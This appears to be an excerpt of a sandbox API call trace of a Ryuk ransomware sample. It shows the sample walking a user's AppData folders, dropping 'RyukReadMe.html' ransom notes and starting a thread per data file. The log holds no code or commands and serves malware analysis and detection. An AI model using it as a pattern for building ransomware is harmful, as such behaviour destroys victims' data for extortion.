	[0210.002] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4d2d00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x200, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi", cAlternateFileName="OUTLOO~1.OBI")) returned 1
	[0210.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0210.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0210.198] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.198] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
	[0210.199] SetLastError (dwErrCode=0x0) 
	[0210.199] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.199] GetLastError () returned 0x3
	[0210.199] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.199] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.199] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.199] SetLastError (dwErrCode=0x0) 
	[0210.199] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.199] GetLastError () returned 0x3
	[0210.200] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.200] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.200] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
	[0210.200] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0210.200] SetLastError (dwErrCode=0x0) 
	[0210.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.200] GetLastError () returned 0x3
	[0210.201] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0210.201] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.201] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0210.201] SetLastError (dwErrCode=0x0) 
	[0210.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0210.201] GetLastError () returned 0xb7
	[0210.201] CloseHandle (hObject=0x5cc) returned 1
	[0210.202] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0210.308] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.308] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0210.308] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0210.308] SetLastError (dwErrCode=0x0) 
	[0210.308] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.309] GetLastError () returned 0x3
	[0210.309] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0210.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.309] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0210.309] SetLastError (dwErrCode=0x0) 
	[0210.309] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564
	[0210.309] GetLastError () returned 0xb7
	[0210.310] CloseHandle (hObject=0x564) returned 1
	[0210.310] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0210.310] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.310] SetLastError (dwErrCode=0x0) 
	[0210.310] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.310] GetLastError () returned 0x3
	[0210.310] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0210.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.311] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0210.311] SetLastError (dwErrCode=0x0) 
	[0210.311] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564
	[0210.311] GetLastError () returned 0xb7
	[0210.311] CloseHandle (hObject=0x564) returned 1
	[0210.311] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0210.312] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.312] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x200, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
	[0210.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0210.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0210.316] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.316] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x200, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1
	[0210.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0210.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0210.320] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.320] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x200, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0
	[0210.320] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0210.321] SetLastError (dwErrCode=0x0) 
	[0210.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.321] GetLastError () returned 0x3
	[0210.321] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0210.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.321] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0210.321] SetLastError (dwErrCode=0x0) 
	[0210.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564
	[0210.322] GetLastError () returned 0xb7
	[0210.322] CloseHandle (hObject=0x564) returned 1
	[0210.322] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0210.322] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.322] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1
	[0210.323] SetLastError (dwErrCode=0x0) 
	[0210.323] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.323] GetLastError () returned 0x3
	[0210.323] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.323] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.325] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.326] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0210.326] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.326] SetLastError (dwErrCode=0x0) 
